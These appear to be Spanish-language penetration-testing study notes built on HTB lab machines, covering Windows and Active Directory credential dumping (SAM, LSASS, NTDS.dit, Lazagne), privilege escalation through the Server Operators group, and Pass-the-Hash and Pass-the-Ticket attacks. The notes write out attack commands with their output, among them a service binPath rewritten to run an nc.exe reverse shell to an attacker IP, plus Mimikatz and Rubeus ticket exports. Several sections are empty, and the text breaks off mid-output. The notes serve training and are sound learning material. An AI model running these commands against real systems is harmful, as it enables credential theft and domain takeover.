A través de la herramienta de samdump2, extraemos desde Kali los hashes NTLM de la SAM. Podemos intentar efectuar PassTheHash para autenticarnos con el hash NTLM del usuario.

❯ samdump2 SYSTEM SAM
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* ä:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

AD Recycle Bin Group

Formando parte de este grupo, podemos enumerar objetos eliminados del Active Directory, en este caso, usuarios. En algunos casos, es posible que existan usuarios temporales que hayan sido creados para pruebas y tengan algún campo que nos pueda interesar.

PoC - HTB Cascade

DnsAdmins to DomainAdmin

Introduction

El grupo DnsAdmins en Windows permite gestionar el servicio DNS en controladores de dominio. Sin embargo, los usuarios de este grupo pueden cargar y ejecutar una DLL personalizada con privilegios elevados a través de funciones del servicio DNS. Esto lo convierte en un método viable para la escalación de privilegios en entornos de Active Directory.

PoC

References

DnsAdmins to Domain Admin -
HTB Resolute -

Dumping credentials

Credential Hunting

Una vez que tenemos acceso a una máquina Windows (por RDP o CLI), es buena idea buscar credenciales. Esto se llama Credential Hunting y consiste en revisar el sistema en busca de contraseñas guardadas en archivos, aplicaciones o configuraciones.

En este caso, accedimos al equipo de un administrador de IT con Windows 10, así que hay alta probabilidad de encontrar credenciales valiosas.

Windows y muchas apps tienen funciones de búsqueda integradas, así que podemos aprovechar eso para buscar términos como:

Passwords

Passphrases

Keys

Username

User account

Creds

Users

Passkeys

Passphrases

configuration

dbcredential

dbpassword

pwd

Credentials

Search Tools

Con acceso a la GUI, vale la pena intentar utilizar Windows Search para encontrar archivos en el objetivo utilizando algunas de las palabras clave mencionadas anteriormente.

Por defecto, buscará en varias configuraciones del sistema operativo y en el sistema de archivos aquellos archivos y aplicaciones que contengan el término clave introducido en la barra de búsqueda.

Lazagne

También podemos aprovechar herramientas de terceros como Lazagne para descubrir rápidamente credenciales que los navegadores web u otras aplicaciones instaladas puedan almacenar de forma insegura. Sería beneficioso mantener una copia independiente de Lazagne en nuestro host de ataque para poder transferirla rápidamente al objetivo. Lazagne.exe nos servirá perfectamente en este escenario. Podemos utilizar nuestro cliente RDP para copiar el archivo en el objetivo de nuestro host de ataque. Si estamos utilizando xfreerdp todo lo que debemos hacer es copiar y pegar en la sesión RDP que hemos establecido.

Una vez que Lazagne.exe esté en el objetivo, podemos abrir el símbolo del sistema o PowerShell, navegar hasta el directorio en el que se cargó el archivo y ejecutar el siguiente comando:

Running Lazagne All

C:\Users\bob\Desktop> LaZagne.exe all

Esto ejecutará Lazagne y ejecutará todos los módulos incluidos. Podemos incluir la opción -vv para estudiar lo que está haciendo en segundo plano. Una vez que pulsemos enter, se abrirá otro prompt y mostrará los resultados.

Lazagne Output

|====================================================================|
|                                                                    |
|                        The LaZagne Project                         |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|


########## User: bob ##########

------------------- Winscp passwords -----------------

[+] Password found !!!
URL: 10.129.202.51
Login: admin
Password: SteveisReallyCool123
Port: 22

Si utilizáramos la opción -vv, veríamos los intentos de recopilar contraseñas de todo el software soportado por Lazagne. También podemos mirar en la página de GitHub en la sección de software soportado para ver todo el software de Lazagne intentará recopilar credenciales. Puede ser un poco chocante ver lo fácil que puede ser obtener credenciales en texto claro. Gran parte de esto se puede atribuir a la forma insegura en que muchas aplicaciones almacenan las credenciales.

Findstr

También podemos utilizar findstr para buscar a partir de patrones en muchos tipos de archivos. Teniendo en cuenta los términos clave comunes, podemos utilizar variaciones de este comando para descubrir credenciales en un objetivo Windows:

C:\> findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml

Get-ChildItem

Get-ChildItem -Path C:\ -Include *.txt,*.ini,*.cfg,*.config,*.xml,*.git,*.ps1,*.yml -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"

Additional Considerations

Existen miles de herramientas y términos clave que podemos utilizar para buscar credenciales en sistemas operativos Windows. Sepa que las que elijamos utilizar se basarán principalmente en la función del ordenador. Si aterrizamos en un sistema operativo Windows Server, podemos utilizar un enfoque diferente que si aterrizamos en un sistema operativo Windows Desktop. Siempre hay que tener en cuenta cómo se utiliza el sistema, y esto nos ayudará a saber dónde buscar. A veces incluso podremos encontrar credenciales navegando y listando directorios en el sistema de archivos mientras se ejecutan nuestras herramientas.

Estos son algunos otros lugares que debemos tener en cuenta al buscar credenciales:

Passwords in Group Policy in the SYSVOL share
Passwords in scripts in the SYSVOL share
Password in scripts on IT shares
Passwords in web.config files on dev machines and IT shares
unattend.xml
Passwords in the AD user or computer description fields
KeePass databases --> pull hash, crack and get loads of access.
Found on user systems and shares
Files such as pass.txt, passwords.docx, passwords.xlsx found on user systems, shares, Sharepoint

LSASS

Introduction

El proceso LSASS (Local Security Authority Subsystem Service) se encarga de gestionar la autenticación y las políticas de seguridad en Windows. Al hacer un dump de este proceso, es posible extraer credenciales como hashes de contraseñas, tickets Kerberos o contraseñas en texto claro. Esto lo convierte en un objetivo crítico durante actividades de post-explotación. Herramientas como Mimikatz o pypykatz permiten analizar y extraer esta información de los archivos de volcado.

Dumping LSASS

Mimikatz

En Windows a través de la herramienta de mimikatz haremos el dump del LSASS.

Task Manager

Con acceso a una sesión gráfica interactiva con el objetivo, podemos utilizar el administrador de tareas para crear un volcado de memoria.

Se nos creará un archivo lsass.DMP que nos pasaremos a nuestra máquina en local para extraer las credenciales tal y como se muestra en

Using Pypykatz to Extract Credentials

En caso de disponer de un lsass.DMP en nuestra Kali, comprobar que tipo de dump es y hacer un dump del LSASS.

Rundll32.exe & Comsvcs.dll Method

El método del Administrador de Tareas depende de que tengamos una sesión interactiva basada en GUI con un objetivo. Podemos utilizar un método alternativo para volcar la memoria del proceso LSASS a través de una utilidad de línea de comandos llamada rundll32.exe. Esta forma es más rápida que el método del Administrador de Tareas y más flexible porque podemos obtener una sesión shell en un host Windows con sólo acceso a la línea de comandos. Es importante tener en cuenta que las herramientas antivirus modernas reconocen este método como actividad maliciosa.

Antes de emitir el comando para crear el archivo de volcado, debemos determinar qué ID de proceso (PID) está asignado a lsass.exe. Esto se puede hacer desde cmd o PowerShell:

Finding LSASS PID in cmd

Desde cmd, podemos emitir el comando tasklist /svc y encontrar lsass.exe y su ID de proceso en el campo PID.

Finding LSASS PID in PowerShell

Desde PowerShell, podemos ejecutar el comando Get-Process lsass y ver el ID del proceso en el campo Id.

Una vez que tenemos el PID asignado al proceso LSASS, podemos crear el archivo de volcado.

NetExec

De manera remota podemos hacer un dump del LSASS a través de netexec.

Lsassy

Cracking the NT Hash with hashcat

References

Enlaces utilizados:

Export LSASS ->

NTDS.dit

Introduction

El archivo NTDS.dit es la base de datos del Active Directory en controladores de dominio de Windows. Contiene información crítica como las cuentas de usuario, grupos, políticas y, lo más importante, los hashes de contraseñas de todos los usuarios del dominio.

Un atacante puede extraer este archivo (junto con el SYSTEM hive) para obtener los hashes y crackearlos, ganando acceso a credenciales sensibles.

DCSync Rights

Usuario forma parte de un grupo que dispone de privilegios "WriteDacl" sobre el dominio, podemos otorgarle permisos DCSync al usuario . Esto debemos de tener acceso a un equipo del dominio y debemos de importar PowerView.

Con bloodyAD podemos añadir permisos de DCSync (desde Kali)

Si disponemos de permisos de DCSync, des de Kali dumpearemos el NTDS.dit de la siguiente manera:

SeBackupPrivilege

Requisitos:

Acceso remoto al Domain Controller del dominio.
Disponer de usuario con permisos de "SeBackupPrivilege"
Disponer del archivo 'SYSTEM' del DC. Se puede obtener a través de

Proceso:

Utilizaremos DiskShadow y Robocopy para copiar el archivo "NTDS.dit" y disponer de una copia que la pasaremos a nuestra Kali.

(Importante: Dejar un espacio al final de cada instrucción)

Ejecutaremos el diskshadow para crear una copia de la unidad C: en la unidad G del DiskShadow.

A través de RoboCopy copiaremos el archivo NTDS.dit de la copia de la C que se encuentra en la unidad G.

Pasaremos la copia de los archivos SYSTEM y NTDS.dit a la Kali y haremos el dump con secretsdump.py:

References

DCSync Attack (Hacktricks) -->
Dumping Active Directory Hashes -->
Diskshadow --<
Máquina HTB 'Forest' de referencia (DCSync) -->
Máquina HTB 'Blackfield' de referencia (NTDS.dit) -->

SAM and SYSTEM

Introduction

La SAM (Security Account Manager) es una base de datos en Windows que almacena las credenciales locales de los usuarios, como los hashes de contraseñas. Este archivo crítico se encuentra en C:\Windows\System32\Config\SAM y está protegido por restricciones de acceso. Sin embargo, si un atacante obtiene permisos elevados, puede extraer los hashes de la SAM y usarlos para ataques como Pass-the-Hash o crackeo de contraseñas, comprometiendo cuentas locales del sistema.

Dumping SAM and SYSTEM secrets

Reg save

En Windows haremos una copia de los archivos en "temp"

Desde Kali Linux exportaremos los hashes de la SAM

NetExec

De manera remota podemos hacer el dump del SAM del equipo.

References

Export copy SAM and SYSTEM files -

Server Operators Group

Introduction

El grupo Server Operators es un grupo de seguridad integrado en los entornos de Windows Server. A los miembros de este grupo se les otorgan privilegios administrativos específicos que les permiten realizar tareas relacionadas con el servidor sin tener derechos administrativos completos. Este grupo está diseñado principalmente para la administración delegada del servidor. Privilegios clave de los operadores de servidor

Los miembros del grupo Operadores de servidor tienen los siguientes privilegios:

Iniciar y detener servicios:
- Pueden iniciar, detener y pausar servicios en el servidor, lo que es crucial para el mantenimiento y la resolución de problemas del servidor.
Administrar recursos compartidos:
- Los operadores de servidor pueden crear, modificar y eliminar carpetas compartidas y administrar recursos compartidos de impresoras, lo que les permite administrar recursos compartidos de manera eficaz.
Operaciones de copia de seguridad y restauración:
- Los miembros pueden realizar copias de seguridad de archivos y restaurar archivos a partir de copias de seguridad, lo que facilita la administración de los procesos de recuperación de datos.
Iniciar sesión localmente:
- Los miembros tienen la capacidad de iniciar sesión localmente en el servidor, lo que les permite administrar directamente el servidor a través de su consola.
Administrar usuarios y grupos locales:
- Pueden agregar o eliminar usuarios de grupos locales y administrar cuentas locales, lo que es importante para las tareas de administración de usuarios.

PoC

Comprobamos que el usuario que disponemos forma parte del grupo SERVER OPERATORS.

Desde el equipo revisaremos los servicios que se encuentran en ejecución.

*Evil-WinRM* PS C:\Users\test\Documents> services

Path                                                                                                                 Privileges Service          
----                                                                                                                 ---------- -------          
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe                                                                  True ADWS             
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe                                                           True aspnet_state     
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5EB04B3D-85AE-4574-88FB-F22CF32D39F5}\MpKslDrv.sys       True MpKslDrv         
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlservr.exe" -sMSSQLSERVER                          True MSSQLSERVER      
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe                                                              True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe                                                                                           True PerfHost         
"C:\Program Files (x86)\Microsoft SQL Server\90\Shared\sqlbrowser.exe"                                                     True SQLBrowser       
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\SQLAGENT.EXE" -i MSSQLSERVER                         True SQLSERVERAGENT   
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlceip.exe" -Service                                True SQLTELEMETRY     
"C:\Program Files\Microsoft SQL Server\90\Shared\sqlwriter.exe"                                                            True SQLWriter        
C:\Windows\servicing\TrustedInstaller.exe                                                                                 False TrustedInstaller 
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"                                                     True VGAuthService    
C:\Program Files\VMWare\VMWare Tools\vmtoolsd.exe                                                                          True VMTools          
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.1911.3-0\NisSrv.exe"                                              True WdNisSvc         
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.1911.3-0\MsMpEng.exe"                                             True WinDefend

Después de revisar los servicios que se encuentran en ejecución, el siguiente paso será subir al equipo víctima el binario nc.exe para posteriormente aprovechar de que formamos parte de este grupo, para modificar el binPath del servicio e indicarle que la ruta del servicio es la ejecución de una Reverse Shell utilizando el binario subido de nc.exe.

Verificamos que logramos modificar correctamente el binPath del servicio VMTools, también podemos utilizar el servicio browser.

*Evil-WinRM* PS C:\Users\test\Documents> upload /usr/share/windows-binaries/nc.exe
                                        
Info: Uploading /usr/share/windows-binaries/nc.exe to C:\Users\test\Documents\nc.exe
                                        
Data: 79188 bytes of 79188 bytes copied
                                        
Info: Upload successful!

*Evil-WinRM* PS C:\Users\test\Documents> sc.exe config VMTools binPath="C:\Users\test\Documents\nc.exe -e cmd 10.10.16.5 443"
[SC] ChangeServiceConfig SUCCESS

En una terminal nos pondremos en escucha por el puerto especificado en el punto anterior.

❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...

Volveremos a la terminal del equipo víctima y pararemos y volver a iniciar el servicio, el cual hemos modificado el binPath para que ejecute la Reverse Shell.

*Evil-WinRM* PS C:\Users\test\Documents> sc.exe stop VMTools

SERVICE_NAME: VMTools
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 1  STOPPED
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        
*Evil-WinRM* PS C:\Users\test\Documents> sc.exe start VMTools

Verificamos que al volver a arrancar el servicio, hemos logrado obtener conexión a través de la Reverse Shell, en este caso, el usuario que arranca el servicio es el usuario NT AUTHORITY\SYSTEM, lo cual tenemos control total sobre el equipo.

❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.10] 49948
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

Windows Lateral Movement

Pass the Hash (PtH)

Introduction

Un ataque Pass the Hash (PtH) es una técnica en la que un atacante utiliza un hash de contraseña en lugar de la contraseña en texto plano para autenticarse. No es necesario descifrar el hash para obtener la contraseña original. Este tipo de ataque aprovecha el funcionamiento del protocolo de autenticación, ya que el hash permanece constante en cada sesión hasta que la contraseña se cambia.

El atacante necesita tener privilegios administrativos u otros permisos específicos sobre la máquina objetivo para poder obtener los hashes de contraseña. Existen varios métodos para obtenerlos, entre ellos:

Volcar la base de datos SAM local desde un host comprometido.
Extraer los hashes de la base de datos del controlador de dominio (NTDS.dit).
Obtener los hashes directamente desde la memoria del proceso lsass.exe.

Supongamos que hemos obtenido el siguiente hash de contraseña para la cuenta julio del dominio gzzcoo.htb:

A continuación, veremos cómo realizar ataques Pass the Hash desde sistemas Windows y Linux.

Windows NTLM Introduction

NTLM (New Technology LAN Manager) de Microsoft es un conjunto de protocolos de seguridad diseñado para autenticar la identidad de los usuarios y proteger la integridad y confidencialidad de sus datos. NTLM funciona como una solución de inicio de sesión único (SSO), utilizando un protocolo de reto-respuesta para verificar la identidad del usuario sin necesidad de enviar la contraseña.

A pesar de sus vulnerabilidades conocidas, NTLM sigue siendo utilizado con frecuencia para mantener compatibilidad con sistemas y clientes antiguos, incluso en entornos modernos. Aunque Microsoft continúa dando soporte a NTLM, Kerberos ha pasado a ser el mecanismo de autenticación predeterminado desde Windows 2000 y en todos los dominios basados en Active Directory (AD) posteriores.

Uno de los problemas clave de NTLM es que las contraseñas almacenadas en los servidores o controladores de dominio no están "salteadas" (salted). Esto significa que un atacante que obtenga el hash de una contraseña puede autenticarse directamente sin necesidad de conocer la contraseña original. A este tipo de técnica se le conoce como ataque Pass the Hash (PtH).

Pass the Hash with Mimikatz (Windows)

La primera herramienta que podemos utilizar para llevar a cabo un ataque Pass the Hash es Mimikatz. Esta herramienta cuenta con un módulo llamado sekurlsa::pth, que permite iniciar un proceso utilizando directamente el hash NTLM de un usuario, sin necesidad de conocer su contraseña en texto claro.

Para usar este módulo, se requiere la siguiente información:

/user – El nombre del usuario que queremos suplantar.
/rc4 o /ntlm – El hash NTLM de la contraseña del usuario.
/domain – El dominio al que pertenece el usuario. Si es una cuenta local, se puede usar el nombre del equipo, localhost, o simplemente un punto (.).
/run – El programa que queremos ejecutar con el contexto del usuario (si no se especifica, se lanzará por defecto una cmd.exe).

Pass the Hash from Windows Using Mimikatz:

Ahora podemos usar cmd.exe para ejecutar comandos en el contexto del usuario. En este ejemplo, julio puede conectarse a una carpeta compartida llamada julio en el controlador de dominio.

Pass the Hash with PowerShell Invoke-TheHash (Windows)

Otra herramienta que podemos utilizar para realizar ataques Pass the Hash en sistemas Windows es Invoke-TheHash. Esta herramienta es un conjunto de funciones en PowerShell diseñadas para ejecutar ataques PtH utilizando WMI y SMB.

Las conexiones a WMI y SMB se realizan a través de System.Net.Sockets.TCPClient de .NET, y la autenticación se lleva a cabo inyectando el hash NTLM en el protocolo de autenticación NTLMv2.

Aunque no se requieren privilegios de administrador en el equipo desde el cual ejecutamos el ataque, las credenciales utilizadas (usuario y hash) sí deben tener privilegios administrativos en la máquina objetivo.

Invoke-TheHash with SMB

En este ejemplo, se utilizará el usuario julio y el hash 64F12CDDAA88057E06A81B54E73B949B.

Target: Nombre de host o dirección IP del objetivo.
Username: Nombre de usuario que se utilizará para la autenticación.
Domain: Dominio al que pertenece el usuario. Este parámetro es opcional si se utiliza una cuenta local o si se incluye el dominio en el nombre de usuario (por ejemplo, usuario@dominio).
Hash: Hash NTLM de la contraseña. Se acepta el formato LM:NTLM o solo NTLM.
Command: Comando a ejecutar en el sistema objetivo. Si no se especifica ningún comando, la función verificará si las credenciales tienen acceso a WMI en la máquina remota.

El siguiente comando utilizará el método SMB para ejecutar un comando que crea un nuevo usuario llamado mark y lo añade al grupo de administradores:

Invoke-TheHash with WMI

También podemos obtener una conexión de Reverse Shell en la máquina de destino.

Para obtener una Reverse Shell, necesitamos iniciar nuestro listener usando Netcat en nuestra máquina Windows, cuya dirección IP es 172.16.1.5. Usaremos el puerto 8001 para esperar la conexión.

Para crear una Reverse Shell simple usando PowerShell, podemos visitar , configurar nuestra IP 172.16.1.5 y puerto 8001, y seleccionar la opción PowerShell #3 (Base64), como se muestra en la siguiente imagen.

Pass the Hash with Impacket (Linux)

Pass the Hash with Impacket PsExec

Existen otras herramientas en el kit de herramientas de Impacket que podemos usar para la ejecución de comandos mediante ataques Pass the Hash, como:

impacket-wmiexec
impacket-atexec
impacket-smbexec

Pass the Hash with NetExec (Linux)

NetExec es una herramienta de postexplotación que ayuda a automatizar la evaluación de la seguridad de grandes redes de Active Directory. Podemos usar NetExec para intentar autenticarnos en algunos o todos los hosts de una red, buscando un host donde podamos autenticarnos correctamente como administrador local. Este método también se denomina "Rociado de contraseñas" y se explica en detalle en el módulo "Enumeración y ataques de Active Directory". Tenga en cuenta que este método puede bloquear cuentas de dominio, así que tenga en cuenta la política de bloqueo de cuentas del dominio objetivo y asegúrese de usar el método de cuenta local, que solo intentará iniciar sesión una vez en un host dentro de un rango determinado con las credenciales proporcionadas, si esa es su intención.

Si queremos realizar las mismas acciones, pero intentar autenticarnos en cada host de una subred usando el hash de la contraseña del administrador local, podríamos añadir --local-auth a nuestro comando. Este método es útil si obtenemos un hash del administrador local volcando la base de datos SAM local en un host y queremos comprobar a cuántos hosts adicionales (si los hay) podemos acceder gracias a la reutilización de la contraseña del administrador local. Si vemos "Pwn3d!", significa que el usuario es administrador local en el equipo de destino. Podemos usar la opción -x para ejecutar comandos.

Es común ver la reutilización de contraseñas en varios hosts de la misma subred. Las organizaciones suelen usar imágenes maestras con la misma contraseña de administrador local o la configuran de la misma forma en varios hosts para facilitar la administración. Si nos encontramos con este problema en una interacción real, una excelente recomendación para el cliente es implementar la Solución de Contraseña del Administrador Local (LAPS), que aleatoriza la contraseña del administrador local y puede configurarse para que rote en un intervalo fijo.

CrackMapExec - Command Execution

Pass the Hash with evil-winrm (Linux)

evil-winrm es otra herramienta que podemos usar para autenticarnos mediante el ataque "Pass the Hash" con comunicación remota de PowerShell. Si SMB está bloqueado o no tenemos permisos de administrador, podemos usar este protocolo alternativo para conectarnos a la máquina objetivo.

Pass the Hash with RDP (Linux)

Puede haber ocasiones en las que obtengas un NT hash de administrador local a partir de un volcado de SAM u otros métodos, pero no puedas descifrarlo para obtener la contraseña en texto claro. En algunos casos, puedes realizar un ataque Pass-the-Hash (PtH) en RDP para obtener acceso GUI al sistema utilizando una herramienta como xfreerdp.

El principal obstáculo para este ataque es el Modo de Administración Restringida (Restricted Admin Mode). Este modo está deshabilitado por defecto y evitará que inicies sesión con un NT hash.

Sin embargo, con acceso de administrador local, puedes habilitar esta función agregando una nueva clave en el registro:

Una vez que se agrega la clave en el registro, puedes usar una herramienta como xfreerdp para obtener acceso por RDP sin necesidad de conocer la contraseña en texto claro de la cuenta:

PoC (Proof of Concept)

UAC Limits Pass the Hash for Local Accounts

UAC (Control de Cuentas de Usuario) limita la capacidad de los usuarios locales para realizar tareas administrativas de forma remota. Cuando la clave de registro HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy está en 0, significa que solo la cuenta de administrador local integrada (RID-500, "Administrator") puede hacer administración remota. Si se pone en 1, se permite también a otros administradores locales.

Ojo: hay una excepción. Si la clave FilterAdministratorToken (que está deshabilitada por defecto) se habilita (valor 1), entonces la cuenta RID-500 (aunque tenga otro nombre) queda protegida por UAC. Eso hace que un ataque remoto tipo Pass The Hash (PTH) con esa cuenta falle.

Estos ajustes solo aplican a cuentas administrativas locales. Si conseguimos acceso a una cuenta de dominio con permisos administrativos sobre una máquina, sí podremos usar Pass The Hash contra ella.

Pass the Ticket (PtT)

Introduction

Otro método para movernos lateralmente en un entorno de Active Directory se llama ataque Pass the Ticket (PtT). En este ataque, usamos un ticket Kerberos robado para movernos lateralmente en lugar de un hash de contraseña NTLM. Vamos a ver varias formas de llevar a cabo un ataque PtT desde Windows y Linux.

Kerberos Protocol Refresher

El sistema de autenticación Kerberos se basa en tickets. La idea principal detrás de Kerberos es evitar entregar la contraseña de la cuenta a cada servicio que usamos. En su lugar, Kerberos guarda todos los tickets en el sistema local y presenta a cada servicio únicamente el ticket específico para ese servicio, evitando que un ticket se use para otro propósito.

TGT (Ticket Granting Ticket): Es el primer ticket que se obtiene en un sistema Kerberos. Este ticket permite al cliente solicitar otros tickets Kerberos (TGS).
TGS (Ticket Granting Service): Son tickets que los usuarios solicitan cuando quieren usar un servicio. Estos permiten a los servicios verificar la identidad del usuario.

Cuando un usuario solicita un TGT, debe autenticarse ante el controlador de dominio cifrando el timestamp con el hash de su contraseña. Si el controlador de dominio valida la identidad del usuario (porque conoce su hash y puede descifrar el timestamp), le envía un TGT para futuras solicitudes. Una vez que el usuario tiene su ticket, ya no necesita volver a demostrar su identidad usando su contraseña.

Por ejemplo, si el usuario quiere conectarse a una base de datos MSSQL, solicita un TGS al KDC (Key Distribution Center) presentando su TGT. Luego entrega el TGS al servidor MSSQL para autenticarse.

From Windows

Pass the Ticket (PtT) Attack

Necesitamos un ticket Kerberos válido para llevar a cabo un ataque Pass the Ticket (PtT). Este puede ser:

Un Service Ticket (TGS - Ticket Granting Service), que permite el acceso a un recurso específico.
Un Ticket Granting Ticket (TGT), que se utiliza para solicitar tickets de servicio y así acceder a cualquier recurso para el cual el usuario tenga privilegios.

Antes de realizar un ataque Pass the Ticket (PtT), vamos a ver algunos métodos para obtener un ticket utilizando Mimikatz y Rubeus.

Scenario

Imaginemos que estamos en un pentest y logramos hacer phishing a un usuario, obteniendo acceso a su equipo. Además, encontramos una forma de escalar privilegios y ahora contamos con permisos de administrador local en esa máquina. Con este nivel de acceso, podemos explorar varias formas de obtener tickets Kerberos existentes y también crear nuevos tickets. Veamos algunas de las opciones:

Mimikatz - Export Tickets

.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

c:\tools> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug  6 2020 14:53:43
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::tickets /export

Authentication Id : 0 ; 329278 (00000000:0005063e)
Session           : Network from 0
User Name         : DC01$
Domain            : HTB
Logon Server      : (null)
Logon Time        : 7/12/2022 9:39:55 AM
SID               : S-1-5-18

         * Username : DC01$
         * Domain   : inlanefreight.htb
         * Password : (null)
         
        Group 0 - Ticket Granting Service

        Group 1 - Client Ticket ?
         [00000000]
           Start/End/MaxRenew: 7/12/2022 9:39:55 AM ; 7/12/2022 7:39:54 PM ;
           Service Name (02) : LDAP ; DC01.inlanefreight.htb ; inlanefreight.htb ; @ inlanefreight.htb
           Target Name  (--) : @ inlanefreight.htb
           Client Name  (01) : DC01$ ; @ inlanefreight.htb
           Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
           Session Key       : 0x00000012 - aes256_hmac
             31cfa427a01e10f6e09492f2e8ddf7f74c79a5ef6b725569e19d614a35a69c07
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 5        [...]
           * Saved to file [0;5063e]-1-0-40a50000-DC01$@LDAP-DC01.inlanefreight.htb.kirbi !

        Group 2 - Ticket Granting Ticket

<SNIP>

mimikatz # exit
Bye!
c:\tools> dir *.kirbi

Directory: c:\tools

Mode                LastWriteTime         Length Name
----                -------------         ------ ----

<SNIP>

-a----        7/12/2022   9:44 AM           1445 [0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi
-a----        7/12/2022   9:44 AM           1565 [0;3e7]-0-2-40a50000-DC01$@cifs-DC01.inlanefreight.htb.kirbi

<SNIP>

Los tickets que terminan con $ corresponden a cuentas de equipo, ya que estas también necesitan un ticket para interactuar con Active Directory. Los tickets de usuario llevan el nombre del usuario, seguido de una @ que separa el nombre del servicio y el dominio. Por ejemplo: [randomvalue]-username@service-domain.local.kirbi.

Nota: Si encontramos un ticket con el servicio krbtgt, corresponde al TGT de esa cuenta.

Nota: Al momento de escribir esto, usando Mimikatz versión 2.2.0 20220919, si ejecutamos sekurlsa::ekeys, se muestran todos los hashes como des_cbc_md4 en algunas versiones de Windows 10. Los tickets exportados con sekurlsa::tickets /export pueden no funcionar correctamente debido al cifrado incorrecto. Aun así, es posible usar esos hashes para generar nuevos tickets o utilizar Rubeus para exportar los tickets en formato base64.

Rubeus - Export Tickets

También podemos exportar tickets usando Rubeus con la opción dump. Esta opción permite volcar todos los tickets (si tenemos privilegios de administrador local). A diferencia de Mimikatz, Rubeus dump no genera archivos, sino que imprime el ticket directamente en formato base64. Podemos añadir la opción /nowrap para facilitar el copiado y pegado.

.\Rubeus.exe dump /nowrap

c:\tools> Rubeus.exe dump /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0


Action: Dump Kerberos Ticket Data (All Users)

[*] Current LUID    : 0x6c680
    ServiceName           :  krbtgt/inlanefreight.htb
    ServiceRealm          :  inlanefreight.htb
    UserName              :  DC01$
    UserRealm             :  inlanefreight.htb
    StartTime             :  7/12/2022 9:39:54 AM
    EndTime               :  7/12/2022 7:39:54 PM
    RenewTill             :  7/19/2022 9:39:54 AM
    Flags                 :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
    KeyType               :  aes256_cts_hmac_sha1
    Base64(key)           :  KWBMpM4BjenjTniwH0xw8FhvbFSf+SBVZJJcWgUKi3w=
    Base64EncodedTicket   :

